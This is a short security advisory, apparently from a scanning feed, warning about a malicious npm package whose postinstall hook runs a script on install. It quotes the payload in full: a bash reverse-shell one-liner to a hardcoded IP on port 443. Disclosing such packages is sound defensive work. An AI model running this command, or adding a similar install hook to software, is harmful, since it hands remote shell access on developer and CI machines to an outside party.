If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b)
package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes `bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'`, opening an interactive bash session from the installer's machine to the hardcoded remote host 14.225.210.85 on TCP/443. There is no authentication, consent prompt, or documented disclosure of this behavior; the payload runs on every install, including CI systems.